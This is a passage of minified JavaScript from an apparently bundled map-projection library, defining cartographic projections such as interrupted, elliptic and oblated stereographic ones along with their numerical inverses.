Rt=Ct*Ct,ir=I(Ct),cr=C(1/I(1+Rt)),Qt=1-Rt+Ct*(1+Rt)*cr,gr=(1-ir)/Qt,Tr=I(gr),Br=gr*(1+Rt),Wr=Tr*(1-Rt),cn=Br-Ve*Ve,dn=I(cn),An=Je+Wr+Ct*dn;if(P(ft-ot)<b||--At===0||An===0)break;An>0?ot=Ct:ft=Ct,Ct=.5*(ot+ft)}if(!At)return null;var ia=C(ir),ma=S(ia),wa=1/ma,Ta=2*ir*ma,Ma=(-3*Ct+cr*(1+3*Rt))*Ta,ja=(-Qt*ma-(1-ir)*Ma)/(Qt*Qt),yi=.5*ja/Tr,ni=(1-Rt)*yi-2*Ct*Tr*Ta,se=-2*wa*ni,Ae=-wa*Ta,ze=-wa*(Ct*(1+Rt)*ja+gr*(1+3*Rt)*Ta);return[h/4*(Ve*(se+Ae*dn)+ze*C(Ve/I(Br))),ia]}function Hn(){return(0,M.Z)(an(tn)).scale(239.75)}function Xn(Ve,Je,ot){var ft,Ct,At;return Ve?(ft=qn(Ve,ot),Je?(Ct=qn(Je,1-ot),At=Ct[1]*Ct[1]+ot*ft[0]*ft[0]*Ct[0]*Ct[0],[[ft[0]*Ct[2]/At,ft[1]*ft[2]*Ct[0]*Ct[1]/At],[ft[1]*Ct[1]/At,-ft[0]*ft[2]*Ct[0]*Ct[2]/At],[ft[2]*Ct[1]*Ct[2]/At,-ot*ft[0]*ft[1]*Ct[0]/At]]):[[ft[0],0],[ft[1],0],[ft[2],0]]):(Ct=qn(Je,1-ot),[[0,Ct[0]/Ct[1]],[1/Ct[1],0],[Ct[2]/Ct[1],0]])}function qn(Ve,Je){var ot,ft,Ct,At,Rt;if(Je<c)return At=s(Ve),ft=S(Ve),ot=Je*(Ve-At*ft)/4,[At-ot*ft,ft+ot*At,1-Je*At*At/2,Ve-ot];if(Je>=1-c)return ot=(1-Je)/4,ft=_(Ve),At=k(Ve),Ct=1/ft,Rt=ft*B(Ve),[At+ot*(Rt-Ve)/(ft*ft),Ct-ot*At*Ct*(Rt-Ve),Ct+ot*At*Ct*(Rt+Ve),2*o(d(Ve))-i+ot*(Rt-Ve)/ft];var ir=[1,0,0,0,0,0,0,0,0],cr=[I(Je),0,0,0,0,0,0,0,0],Qt=0;for(ft=I(1-Je),Rt=1;P(cr[Qt]/ir[Qt])>c&&Qt<8;)ot=ir[Qt++],cr[Qt]=(ot-ft)/2,ir[Qt]=(ot+ft)/2,ft=I(ot*ft),Rt*=2;Ct=Rt*ir[Qt]*Ve;do At=cr[Qt]*s(ft=Ct)/ir[Qt],Ct=(C(At)+Ct)/2;while(--Qt);return[s(Ct),At=S(Ct),At/S(Ct-ft),Ct]}function Wn(Ve,Je,ot){var ft=P(Ve),Ct=P(Je),At=B(Ct);if(ft){var Rt=1/s(ft),ir=1/(y(ft)*y(ft)),cr=-(ir+ot*(At*At*Rt*Rt)-1+ot),Qt=(ot-1)*ir,gr=(-cr+I(cr*cr-4*Qt))/2;return[ea(o(1/I(gr)),ot)*u(Ve),ea(o(I((gr/ir-1)/ot)),1-ot)*u(Je)]}return[0,ea(o(At),1-ot)*u(Je)]}function ea(Ve,Je){if(!Je)return Ve;if(Je===1)return t(y(Ve/2+v));for(var ot=1,ft=I(1-Je),Ct=I(Je),At=0;P(Ct)>c;At++){if(Ve%h){var Rt=o(ft*y(Ve)/ot);Rt<0&&(Rt+=h),Ve+=Rt+~~(Ve/h)*h}else Ve+=Ve;Ct=(ot+ft)/2,ft=I(ot*ft),Ct=((ot=Ct)-ft)/2}return Ve/(a(2,At)*ot)}function mr(Ve,Je){var ot=(w-1)/(w+1),ft=I(1-ot*ot),Ct=ea(i,ft*ft),At=-1,Rt=t(y(h/4+P(Je)/2)),ir=d(At*Rt)/I(ot),cr=qr(ir*S(At*Ve),ir*s(At*Ve)),Qt=Wn(cr[0],cr[1],ft*ft);return[-Qt[1],(Je>=0?1:-1)*(.5*Ct-Qt[0])]}function qr(Ve,Je){var ot=Ve*Ve,ft=Je+1,Ct=1-ot-Je*Je;return[.5*((Ve>=0?i:-i)-L(Ct,2*Ve)),-.25*t(Ct*Ct+4*ot)+.5*t(ft*ft+ot)]}function Qr(Ve,Je){var ot=Je[0]*Je[0]+Je[1]*Je[1];return[(Ve[0]*Je[0]+Ve[1]*Je[1])/ot,(Ve[1]*Je[0]-Ve[0]*Je[1])/ot]}mr.invert=function(Ve,Je){var ot=(w-1)/(w+1),ft=I(1-ot*ot),Ct=ea(i,ft*ft),At=-1,Rt=Xn(.5*Ct-Je,-Ve,ft*ft),ir=Qr(Rt[0],Rt[1]),cr=L(ir[1],ir[0])/At;return[cr,2*o(d(.5/At*t(ot*ir[0]*ir[0]+ot*ir[1]*ir[1])))-i]};function un(){return(0,M.Z)(an(mr)).scale(151.496)}var kn=e(7613);function bn(Ve){var Je=s(Ve),ot=S(Ve),ft=wn(Ve);ft.invert=wn(-Ve);function Ct(At,Rt){var ir=ft(At,Rt);At=ir[0],Rt=ir[1];var cr=s(Rt),Qt=S(Rt),gr=S(At),Tr=x(Je*cr+ot*Qt*gr),Br=s(Tr),Wr=P(Br)>c?Tr/Br:1;return[Wr*ot*s(At),(P(At)>i?Wr:-Wr)*(Je*Qt-ot*cr*gr)]}return Ct.invert=function(At,Rt){var ir=I(At*At+Rt*Rt),cr=-s(ir),Qt=S(ir),gr=ir*Qt,Tr=-Rt*cr,Br=ir*Je,Wr=I(gr*gr+Tr*Tr-Br*Br),cn=L(gr*Br+Tr*Wr,Tr*Br-gr*Wr),dn=(ir>i?-1:1)*L(At*cr,ir*S(cn)*Qt+Rt*s(cn)*cr);return ft.invert(dn,cn)},Ct}function wn(Ve){var Je=s(Ve),ot=S(Ve);return function(ft,Ct){var At=S(Ct),Rt=S(ft)*At,ir=s(ft)*At,cr=s(Ct);return[L(ir,Rt*ot-cr*Je),C(cr*ot+Rt*Je)]}}function zn(){var Ve=0,Je=(0,M.r)(bn),ot=Je(Ve),ft=ot.rotate,Ct=ot.stream,At=(0,kn.Z)();return ot.parallel=function(Rt){if(!arguments.length)return Ve*A;var ir=ot.rotate();return Je(Ve=Rt*m).rotate(ir)},ot.rotate=function(Rt){return arguments.length?(ft.call(ot,[Rt[0],Rt[1]-Ve*A]),At.center([-Rt[0],-Rt[1]]),ot):(Rt=ft.call(ot),Rt[1]+=Ve*A,Rt)},ot.stream=function(Rt){return Rt=Ct(Rt),Rt.sphere=function(){Rt.polygonStart();var ir=.01,cr=At.radius(90-ir)().coordinates[0],Qt=cr.length-1,gr=-1,Tr;for(Rt.lineStart();++gr<Qt;)Rt.point((Tr=cr[gr])[0],Tr[1]);for(Rt.lineEnd(),cr=At.radius(90+ir)().coordinates[0],Qt=cr.length-1,Rt.lineStart();--gr>=0;)Rt.point((Tr=cr[gr])[0],Tr[1]);Rt.lineEnd(),Rt.polygonEnd()},Rt},ot.scale(79.4187).parallel(45).clipAngle(179.999)}var Jn=e(33064),ba=e(72736),Fa=3,Ht=C(1-1/Fa)*A,pr=Tt(0);function $r(Ve){var Je=Ht*m,ot=Ie(h,Je)[0]-Ie(-h,Je)[0],ft=pr(0,Je)[1],Ct=Ie(0,Je)[1],At=E-Ct,Rt=p/Ve,ir=4/p,cr=ft+At*At*4/p;function Qt(gr,Tr){var Br,Wr=P(Tr);if(Wr>Je){var cn=f(Ve-1,r(0,g((gr+h)/Rt)));gr+=h*(Ve-1)/Ve-cn*Rt,Br=Ie(gr,Wr),Br[0]=Br[0]*p/ot-p*(Ve-1)/(2*Ve)+cn*p/Ve,Br[1]=ft+(Br[1]-Ct)*4*At/p,Tr<0&&(Br[1]=-Br[1])}else Br=pr(gr,Tr);return Br[0]*=ir,Br[1]/=cr,Br}return Qt.invert=function(gr,Tr){gr/=ir,Tr*=cr;var Br=P(Tr);if(Br>ft){var Wr=f(Ve-1,r(0,g((gr+h)/Rt)));gr=(gr+h*(Ve-1)/Ve-Wr*Rt)*ot/p;var cn=Ie.invert(gr,.25*(Br-ft)*p/At+Ct);return cn[0]-=h*(Ve-1)/Ve-Wr*Rt,Tr<0&&(cn[1]=-cn[1]),cn}return pr.invert(gr,Tr)},Qt}function on(Ve,Je){return[Ve,Je&1?90-c:Ht]}function sn(Ve,Je){return[Ve,Je&1?-90+c:-Ht]}function Tn(Ve){return[Ve[0]*(1-c),Ve[1]]}function pn(Ve){var Je=[].concat((0,Jn.w6)(-180,180+Ve/2,Ve).map(on),(0,Jn.w6)(180,-180-Ve/2,-Ve).map(sn));return{type:"Polygon",coordinates:[Ve===180?Je.map(Tn):Je]}}function nn(){var Ve=4,Je=(0,M.r)($r),ot=Je(Ve),ft=ot.stream;return ot.lobes=function(Ct){return arguments.length?Je(Ve=+Ct):Ve},ot.stream=function(Ct){var At=ot.rotate(),Rt=ft(Ct),ir=(ot.rotate([0,0]),ft(Ct));return ot.rotate(At),Rt.sphere=function(){(0,ba.Z)(pn(180/Ve),ir)},Rt},ot.scale(239.75)}function Ar(Ve){var Je=1+Ve,ot=s(1/Je),ft=C(ot),Ct=2*I(h/(At=h+4*ft*Je)),At,Rt=.5*Ct*(Je+I(Ve*(2+Ve))),ir=Ve*Ve,cr=Je*Je;function Qt(gr,Tr){var Br=1-s(Tr),Wr,cn;if(Br&&Br<2){var dn=i-Tr,An=25,ia;do{var ma=s(dn),wa=S(dn),Ta=ft+L(ma,Je-wa),Ma=1+cr-2*Je*wa;dn-=ia=(dn-ir*ft-Je*ma+Ma*Ta-.5*Br*At)/(2*Je*ma*Ta)}while(P(ia)>b&&--An>0);Wr=Ct*I(Ma),cn=gr*Ta/h}else Wr=Ct*(Ve+Br),cn=gr*ft/h;return[Wr*s(cn),Rt-Wr*S(cn)]}return Qt.invert=function(gr,Tr){var Br=gr*gr+(Tr-=Rt)*Tr,Wr=(1+cr-Br/(Ct*Ct))/(2*Je),cn=x(Wr),dn=s(cn),An=ft+L(dn,Je-Wr);return[C(gr/I(Br))*h/An,C(1-2*(cn-ir*ft-Je*dn+(1+cr-2*Je*Wr)*An)/At)]},Qt}function br(){var Ve=1,Je=(0,M.r)(Ar),ot=Je(Ve);return ot.ratio=function(ft){return arguments.length?Je(Ve=+ft):Ve},ot.scale(167.774).center([0,18.67])}var Lr=.7109889596207567,ln=.0528035274542;function Ln(Ve,Je){return Je>-Lr?(Ve=Te(Ve,Je),Ve[1]+=ln,Ve):Ze(Ve,Je)}Ln.invert=function(Ve,Je){return Je>-Lr?Te.invert(Ve,Je-ln):Ze.invert(Ve,Je)};function On(){return(0,M.Z)(Ln).rotate([-20,-55]).scale(164.263).center([0,-5.4036])}function fn(Ve,Je){return P(Je)>Lr?(Ve=Te(Ve,Je),Ve[1]-=Je>0?ln:-ln,Ve):Ze(Ve,Je)}fn.invert=function(Ve,Je){return P(Je)>Lr?Te.invert(Ve,Je+(Je>0?ln:-ln)):Ze.invert(Ve,Je)};function Rn(){return(0,M.Z)(fn).scale(152.63)}function Zn(Ve,Je,ot,ft){var Ct=I(4*h/(2*ot+(1+Ve-Je/2)*s(2*ot)+(Ve+Je)/2*s(4*ot)+Je/2*s(6*ot))),At=I(ft*s(ot)*I((1+Ve*S(2*ot)+Je*S(4*ot))/(1+Ve+Je))),Rt=ot*cr(1);function ir(Tr){return I(1+Ve*S(2*Tr)+Je*S(4*Tr))}function cr(Tr){var Br=Tr*ot;return(2*Br+(1+Ve-Je/2)*s(2*Br)+(Ve+Je)/2*s(4*Br)+Je/2*s(6*Br))/ot}function Qt(Tr){return ir(Tr)*s(Tr)}var gr=function(Tr,Br){var Wr=ot*we(cr,Rt*s(Br)/ot,Br/h);isNaN(Wr)&&(Wr=ot*u(Br));var cn=Ct*ir(Wr);return[cn*At*Tr/h*S(Wr),cn/At*s(Wr)]};return gr.invert=function(Tr,Br){var Wr=we(Qt,Br*At/Ct);return[Tr*h/(S(Wr)*Ct*At*ir(Wr)),C(ot*cr(Wr/ot)/Rt)]},ot===0&&(Ct=I(ft/h),gr=function(Tr,Br){return[Tr*Ct,s(Br)/Ct]},gr.invert=function(Tr,Br){return[Tr/Ct,C(Br*Ct)]}),gr}function ta(){var Ve=1,Je=0,ot=45*m,ft=2,Ct=(0,M.r)(Zn),At=Ct(Ve,Je,ot,ft);return At.a=function(Rt){return arguments.length?Ct(Ve=+Rt,Je,ot,ft):Ve},At.b=function(Rt){return arguments.length?Ct(Ve,Je=+Rt,ot,ft):Je},At.psiMax=function(Rt){return arguments.length?Ct(Ve,Je,ot=+Rt*m,ft):ot*A},At.ratio=function(Rt){return arguments.length?Ct(Ve,Je,ot,ft=+Rt):ft},At.scale(180.739)}function Qn(Ve,Je,ot,ft,Ct,At,Rt,ir,cr,Qt,gr){if(gr.nanEncountered)return NaN;var Tr,Br,Wr,cn,dn,An,ia,ma,wa,Ta;if(Tr=ot-Je,Br=Ve(Je+Tr*.25),Wr=Ve(ot-Tr*.25),isNaN(Br)){gr.nanEncountered=!0;return}if(isNaN(Wr)){gr.nanEncountered=!0;return}return cn=Tr*(ft+4*Br+Ct)/12,dn=Tr*(Ct+4*Wr+At)/12,An=cn+dn,Ta=(An-Rt)/15,Qt>cr?(gr.maxDepthCount++,An+Ta):Math.abs(Ta)<ir?An+Ta:(ia=Je+Tr*.5,ma=Qn(Ve,Je,ia,ft,Br,Ct,cn,ir*.5,cr,Qt+1,gr),isNaN(ma)?(gr.nanEncountered=!0,NaN):(wa=Qn(Ve,ia,ot,Ct,Wr,At,dn,ir*.5,cr,Qt+1,gr),isNaN(wa)?(gr.nanEncountered=!0,NaN):ma+wa))}function $n(Ve,Je,ot,ft,Ct){var At={maxDepthCount:0,nanEncountered:!1};Ct===void 0&&(Ct=20);var Rt=Ve(Je),ir=Ve(.5*(Je+ot)),cr=Ve(ot),Qt=(Rt+4*ir+cr)*(ot-Je)/6,gr=Qn(Ve,Je,ot,Rt,ir,cr,Qt,ft,Ct,1,At);return gr}function oa(Ve,Je,ot){function ft(Wr){return Ve+(1-Ve)*a(1-a(Wr,Je),1/Je)}function Ct(Wr){return $n(ft,0,Wr,1e-4)}for(var At=1/Ct(1),Rt=1e3,ir=(1+1e-8)*At,cr=[],Qt=0;Qt<=Rt;Qt++)cr.push(Ct(Qt/Rt)*ir);function gr(Wr){var cn=0,dn=Rt,An=Rt>>1;do cr[An]>Wr?dn=An:cn=An,An=cn+dn>>1;while(An>cn);var ia=cr[An+1]-cr[An];return ia&&(ia=(Wr-cr[An+1])/ia),(An+1+ia)/Rt}var Tr=2*gr(1)/h*At/ot,Br=function(Wr,cn){var dn=gr(P(s(cn))),An=ft(dn)*Wr;return dn/=Tr,[An,cn>=0?dn:-dn]};return Br.invert=function(Wr,cn){var dn;return cn*=Tr,P(cn)<1&&(dn=u(cn)*C(Ct(P(cn))*At)),[Wr/ft(P(cn)),dn]},Br}function Di(){var Ve=0,Je=2.5,ot=1.183136,ft=(0,M.r)(oa),Ct=ft(Ve,Je,ot);return Ct.alpha=function(At){return arguments.length?ft(Ve=+At,Je,ot):Ve},Ct.k=function(At){return arguments.length?ft(Ve,Je=+At,ot):Je},Ct.gamma=function(At){return arguments.length?ft(Ve,Je,ot=+At):ot},Ct.scale(152.63)}function Gi(Ve,Je){return P(Ve[0]-Je[0])<c&&P(Ve[1]-Je[1])<c}function Xi(Ve,Je){for(var ot=-1,ft=Ve.length,Ct=Ve[0],At,Rt,ir,cr=[];++ot<ft;){At=Ve[ot],Rt=(At[0]-Ct[0])/Je,ir=(At[1]-Ct[1])/Je;for(var Qt=0;Qt<Je;++Qt)cr.push([Ct[0]+Qt*Rt,Ct[1]+Qt*ir]);Ct=At}return cr.push(At),cr}function qi(Ve){var Je=[],ot,ft,Ct,At,Rt,ir,cr,Qt=Ve[0].length;for(cr=0;cr<Qt;++cr)ot=Ve[0][cr],ft=ot[0][0],Ct=ot[0][1],At=ot[1][1],Rt=ot[2][0],ir=ot[2][1],Je.push(Xi([[ft+c,Ct+c],[ft+c,At-c],[Rt-c,At-c],[Rt-c,ir+c]],30));for(cr=Ve[1].length-1;cr>=0;--cr)ot=Ve[1][cr],ft=ot[0][0],Ct=ot[0][1],At=ot[1][1],Rt=ot[2][0],ir=ot[2][1],Je.push(Xi([[Rt-c,ir-c],[Rt-c,At+c],[ft+c,At+c],[ft+c,Ct-c]],30));return{type:"Polygon",coordinates:[(0,Jn.TS)(Je)]}}function ji(Ve,Je,ot){var ft,Ct;function At(cr,Qt){for(var gr=Qt<0?-1:1,Tr=Je[+(Qt<0)],Br=0,Wr=Tr.length-1;Br<Wr&&cr>Tr[Br][2][0];++Br);var cn=Ve(cr-Tr[Br][1][0],Qt);return cn[0]+=Ve(Tr[Br][1][0],gr*Qt>gr*Tr[Br][0][1]?Tr[Br][0][1]:Qt)[0],cn}ot?At.invert=ot(At):Ve.invert&&(At.invert=function(cr,Qt){for(var gr=Ct[+(Qt<0)],Tr=Je[+(Qt<0)],Br=0,Wr=gr.length;Br<Wr;++Br){var cn=gr[Br];if(cn[0][0]<=cr&&cr<cn[1][0]&&cn[0][1]<=Qt&&Qt<cn[1][1]){var dn=Ve.invert(cr-Ve(Tr[Br][1][0],0)[0],Qt);return dn[0]+=Tr[Br][1][0],Gi(At(dn[0],dn[1]),[cr,Qt])?dn:null}}});var Rt=(0,M.Z)(At),ir=Rt.stream;return Rt.stream=function(cr){var Qt=Rt.rotate(),gr=ir(cr),Tr=(Rt.rotate([0,0]),ir(cr));return Rt.rotate(Qt),gr.sphere=function(){(0,ba.Z)(ft,Tr)},gr},Rt.lobes=function(cr){return arguments.length?(ft=qi(cr),Je=cr.map(function(Qt){return Qt.map(function(gr){return[[gr[0][0]*m,gr[0][1]*m],[gr[1][0]*m,gr[1][1]*m],[gr[2][0]*m,gr[2][1]*m]]})}),Ct=Je.map(function(Qt){return Qt.map(function(gr){var Tr=Ve(gr[0][0],gr[0][1])[0],Br=Ve(gr[2][0],gr[2][1])[0],Wr=Ve(gr[1][0],gr[0][1])[1],cn=Ve(gr[1][0],gr[1][1])[1],dn;return Wr>cn&&(dn=Wr,Wr=cn,cn=dn),[[Tr,Wr],[Br,cn]]})}),Rt):Je.map(function(Qt){return Qt.map(function(gr){return[[gr[0][0]*A,gr[0][1]*A],[gr[1][0]*A,gr[1][1]*A],[gr[2][0]*A,gr[2][1]*A]]})})},Je!=null&&Rt.lobes(Je),Rt}var Gl=[[[[-180,0],[-100,90],[-40,0]],[[-40,0],[30,90],[180,0]]],[[[-180,0],[-160,-90],[-100,0]],[[-100,0],[-60,-90],[-20,0]],[[-20,0],[20,-90],[80,0]],[[80,0],[140,-90],[180,0]]]];function Ga(){return ji(Be,Gl).scale(160.857)}var js=[[[[-180,0],[-100,90],[-40,0]],[[-40,0],[30,90],[180,0]]],[[[-180,0],[-160,-90],[-100,0]],[[-100,0],[-60,-90],[-20,0]],[[-20,0],[20,-90],[80,0]],[[80,0],[140,-90],[180,0]]]];function Rs(){return ji(fn,js).scale(152.63)}var Ii=[[[[-180,0],[-100,90],[-40,0]],[[-40,0],[30,90],[180,0]]],[[[-180,0],[-160,-90],[-100,0]],[[-100,0],[-60,-90],[-20,0]],[[-20,0],[20,-90],[80,0]],[[80,0],[140,-90],[180,0]]]];function eo(){return ji(Te,Ii).scale(169.529)}var bu=[[[[-180,0],[-90,90],[0,0]],[[0,0],[90,90],[180,0]]],[[[-180,0],[-90,-90],[0,0]],[[0,0],[90,-90],[180,0]]]];function Ks(){return ji(Te,bu).scale(169.529).rotate([20,0])}var gi=[[[[-180,35],[-30,90],[0,35]],[[0,35],[30,90],[180,35]]],[[[-180,-10],[-102,-90],[-65,-10]],[[-65,-10],[5,-90],[77,-10]],[[77,-10],[103,-90],[180,-10]]]];function Js(){return ji(Ln,gi,xe).rotate([-20,-55]).scale(164.263).center([0,-5.4036])}var oo=[[[[-180,0],[-110,90],[-40,0]],[[-40,0],[0,90],[40,0]],[[40,0],[110,90],[180,0]]],[[[-180,0],[-110,-90],[-40,0]],[[-40,0],[0,-90],[40,0]],[[40,0],[110,-90],[180,0]]]];function Li(){return ji(Ze,oo).scale(152.63).rotate([-20,0])}function so(Ve,Je){return[3/p*Ve*I(h*h/3-Je*Je),Je]}so.invert=function(Ve,Je){return[p/3*Ve/I(h*h/3-Je*Je),Je]};function Wi(){return(0,M.Z)(so).scale(158.837)}function ho(Ve){function Je(ot,ft){if(P(P(ft)-i)<c)return[0,ft<0?-2:2];var Ct=s(ft),At=a((1+Ct)/(1-Ct),Ve/2),Rt=.5*(At+1/At)+S(ot*=Ve);return[2*s(ot)/Rt,(At-1/At)/Rt]}return Je.invert=function(ot,ft){var Ct=P(ft);if(P(Ct-2)<c)return ot?null:[0,u(ft)*i];if(Ct>2)return null;ot/=2,ft/=2;var At=ot*ot,Rt=ft*ft,ir=2*ft/(1+At+Rt);return ir=a((1+ir)/(1-ir),1/Ve),[L(2*ot,1-At-Rt)/Ve,C((ir-1)/(ir+1))]},Je}function Ro(){var Ve=.5,Je=(0,M.r)(ho),ot=Je(Ve);return ot.spacing=function(ft){return arguments.length?Je(Ve=+ft):Ve},ot.scale(124.75)}var Go=h/w;function zi(Ve,Je){return[Ve*(1+I(S(Je)))/2,Je/(S(Je/2)*S(Ve/6))]}zi.invert=function(Ve,Je){var ot=P(Ve),ft=P(Je),Ct=c,At=i;ft<Go?At*=ft/Go:Ct+=6*x(Go/ft);for(var Rt=0;Rt<25;Rt++){var ir=s(At),cr=I(S(At)),Qt=s(At/2),gr=S(At/2),Tr=s(Ct/6),Br=S(Ct/6),Wr=.5*Ct*(1+cr)-ot,cn=At/(gr*Br)-ft,dn=cr?-.25*Ct*ir/cr:0,An=.5*(1+cr),ia=(1+.5*At*Qt/gr)/(gr*Br),ma=At/gr*(Tr/6)/(Br*Br),wa=dn*ma-ia*An,Ta=(Wr*ma-cn*An)/wa,Ma=(cn*dn-Wr*ia)/wa;if(At-=Ta,Ct-=Ma,P(Ta)<c&&P(Ma)<c)break}return[Ve<0?-Ct:Ct,Je<0?-At:At]};function wu(){return(0,M.Z)(zi).scale(97.2672)}function Do(Ve,Je){var ot=Ve*Ve,ft=Je*Je;return[Ve*(.975534+ft*(-.119161+ot*-.0143059+ft*-.0547009)),Je*(1.00384+ot*(.0802894+ft*-.02855+ot*199025e-9)+ft*(.0998909+ft*-.0491032))]}Do.invert=function(Ve,Je){var ot=u(Ve)*h,ft=Je/2,Ct=50;do{var At=ot*ot,Rt=ft*ft,ir=ot*ft,cr=ot*(.975534+Rt*(-.119161+At*-.0143059+Rt*-.0547009))-Ve,Qt=ft*(1.00384+At*(.0802894+Rt*-.02855+At*199025e-9)+Rt*(.0998909+Rt*-.0491032))-Je,gr=.975534-Rt*(.119161+3*At*.0143059+Rt*.0547009),Tr=-ir*(2*.119161+4*.0547009*Rt+2*.0143059*At),Br=ir*(2*.0802894+4*199025e-9*At+2*-.02855*Rt),Wr=1.00384+At*(.0802894+199025e-9*At)+Rt*(3*(.0998909-.02855*At)-5*.0491032*Rt),cn=Tr*Br-Wr*gr,dn=(Qt*Tr-cr*Wr)/cn,An=(cr*Br-Qt*gr)/cn;ot-=dn,ft-=An}while((P(dn)>c||P(An)>c)&&--Ct>0);return Ct&&[ot,ft]};function Fi(){return(0,M.Z)(Do).scale(139.98)}function Wl(Ve,Je){return[s(Ve)/S(Je),y(Je)*S(Ve)]}Wl.invert=function(Ve,Je){var ot=Ve*Ve,ft=Je*Je,Ct=ft+1,At=ot+Ct,Rt=Ve?T*I((At-I(At*At-4*ot))/ot):1/I(Ct);return[C(Ve*Rt),u(Je)*x(Rt)]};function Wo(){return(0,M.Z)(Wl).scale(144.049).clipAngle(89.999)}function Io(Ve){var Je=S(Ve),ot=y(v+Ve/2);function ft(Ct,At){var Rt=At-Ve,ir=P(Rt)<c?Ct*Je:P(ir=v+At/2)<c||P(P(ir)-i)<c?0:Ct*Rt/t(y(ir)/ot);return[ir,Rt]}return ft.invert=function(Ct,At){var Rt,ir=At+Ve;return[P(At)<c?Ct/Je:P(Rt=v+ir/2)<c||P(P(Rt)-i)<c?0:Ct*t(y(Rt)/ot)/At,ir]},ft}function Yl(){return Xe(Io).parallel(40).scale(158.837)}function Zl(Ve,Je){return[Ve,1.25*t(y(v+.4*Je))]}Zl.invert=function(Ve,Je){return[Ve,2.5*o(d(.8*Je))-.625*h]};function Qu(){return(0,M.Z)(Zl).scale(108.318)}function Qs(Ve){var Je=Ve.length-1;function ot(ft,Ct){for(var At=S(Ct),Rt=2/(1+At*S(ft)),ir=Rt*At*s(ft),cr=Rt*s(Ct),Qt=Je,gr=Ve[Qt],Tr=gr[0],Br=gr[1],Wr;--Qt>=0;)gr=Ve[Qt],Tr=gr[0]+ir*(Wr=Tr)-cr*Br,Br=gr[1]+ir*Br+cr*Wr;return Tr=ir*(Wr=Tr)-cr*Br,Br=ir*Br+cr*Wr,[Tr,Br]}return ot.invert=function(ft,Ct){var At=20,Rt=ft,ir=Ct;do{for(var cr=Je,Qt=Ve[cr],gr=Qt[0],Tr=Qt[1],Br=0,Wr=0,cn;--cr>=0;)Qt=Ve[cr],Br=gr+Rt*(cn=Br)-ir*Wr,Wr=Tr+Rt*Wr+ir*cn,gr=Qt[0]+Rt*(cn=gr)-ir*Tr,Tr=Qt[1]+Rt*Tr+ir*cn;Br=gr+Rt*(cn=Br)-ir*Wr,Wr=Tr+Rt*Wr+ir*cn,gr=Rt*(cn=gr)-ir*Tr-ft,Tr=Rt*Tr+ir*cn-Ct;var dn=Br*Br+Wr*Wr,An,ia;Rt-=An=(gr*Br+Tr*Wr)/dn,ir-=ia=(Tr*Br-gr*Wr)/dn}while(P(An)+P(ia)>c*c&&--At>0);if(At){var ma=I(Rt*Rt+ir*ir),wa=2*o(ma*.5),Ta=s(wa);return[L(Rt*Ta,ma*S(wa)),ma?C(ir*Ta/ma):0]}},ot}var $u=[[.9972523,0],[.0052513,-.0041175],[.0074606,.0048125],[-.0153783,-.1968253],[.0636871,-.1408027],[.3660976,-.2937382]],qu=[[.98879,0],[0,0],[-.050909,0],[0,0],[.075528,0]],ef=[[.984299,0],[.0211642,.0037608],[-.1036018,-.0575102],[-.0329095,-.0320119],[.0499471,.1223335],[.026046,.0899805],[7388e-7,-.1435792],[.0075848,-.1334108],[-.0216473,.0776645],[-.0225161,.0853673]],Xl=[[.9245,0],[0,0],[.01943,0]],tf=[[.721316,0],[0,0],[-.00881625,-.00617325]];function rf(){return ps($u,[152,-64]).scale(1400).center([-160.908,62.4864]).clipAngle(30).angle(7.8)}function Tu(){return ps(qu,[95,-38]).scale(1e3).clipAngle(55).center([-96.5563,38.8675])}function nf(){return ps(ef,[120,-45]).scale(359.513).clipAngle(55).center([-117.474,53.0628])}function af(){return ps(Xl,[-20,-18]).scale(209.091).center([20,16.7214]).clipAngle(82)}function jl(){return ps(tf,[165,10]).scale(250).clipAngle(130).center([-165,-10])}function ps(Ve,Je){var ot=(0,M.Z)(Qs(Ve)).rotate(Je).clipAngle(90),ft=(0,Le.Z)(Je),Ct=ot.center;return delete ot.rotate,ot.center=function(At){return arguments.length?Ct(ft(At)):ft.invert(Ct())},ot}var gs=I(6),Ds=I(7);function ml(Ve,Je){var ot=C(7*s(Je)/(3*gs));return[gs*Ve*(2*S(2*ot/3)-1)/Ds,9*s(ot/3)/Ds]}ml.invert=function(Ve,Je){var ot=3*C(Je*Ds/9);return[Ve*Ds/(gs*(2*S(2*ot/3)-1)),C(s(ot)*3*gs/7)]};function of(){return(0,M.Z)(ml).scale(164.859)}function Yo(Ve,Je){for(var ot=(1+T)*s(Je),ft=Je,Ct=0,At;Ct<25&&(ft-=At=(s(ft/2)+s(ft)-ot)/(.5*S(ft/2)+S(ft)),!(P(At)<c));Ct++);return[Ve*(1+2*S(ft)/S(ft/2))/(3*w),2*I(3)*s(ft/2)/I(2+w)]}Yo.invert=function(Ve,Je){var ot=Je*I(2+w)/(2*I(3)),ft=2*C(ot);return[3*w*Ve/(1+2*S(ft)/S(ft/2)),C((ot+s(ft))/(1+T))]};function Au(){return(0,M.Z)(Yo).scale(188.209)}function Kl(Ve,Je){for(var ot=I(6/(4+h)),ft=(1+h/4)*s(Je),Ct=Je/2,At=0,Rt;At<25&&(Ct-=Rt=(Ct/2+s(Ct)-ft)/(.5+S(Ct)),!(P(Rt)<c));At++);return[ot*(.5+S(Ct))*Ve/1.5,ot*Ct]}Kl.invert=function(Ve,Je){var ot=I(6/(4+h)),ft=Je/ot;return P(P(ft)-i)<c&&(ft=ft<0?-i:i),[1.5*Ve/(ot*(.5+S(ft))),C((ft/2+s(ft))/(1+h/4))]};function sf(){return(0,M.Z)(Kl).scale(166.518)}var vo=e(26867);function ys(Ve,Je){var ot=Je*Je,ft=ot*ot,Ct=ot*ft;return[Ve*(.84719-.13063*ot+Ct*Ct*(-.04515+.05494*ot-.02326*ft+.00331*Ct)),Je*(1.01183+ft*ft*(-.02625+.01926*ot-.00396*ft))]}ys.invert=function(Ve,Je){var ot=Je,ft=25,Ct,At,Rt,ir;do At=ot*ot,Rt=At*At,ot-=Ct=(ot*(1.01183+Rt*Rt*(-.02625+.01926*At-.00396*Rt))-Je)/(1.01183+Rt*Rt*(-.23625+.21186*At+-.05148*Rt));while(P(Ct)>b&&--ft>0);return At=ot*ot,Rt=At*At,ir=At*Rt,[Ve/(.84719-.13063*At+ir*ir*(-.04515+.05494*At-.02326*Rt+.00331*ir)),ot]};function $s(){return(0,M.Z)(ys).scale(175.295)}function Is(Ve,Je){return[Ve*(1+S(Je))/2,2*(Je-y(Je/2))]}Is.invert=function(Ve,Je){for(var ot=Je/2,ft=0,Ct=1/0;ft<10&&P(Ct)>c;++ft){var 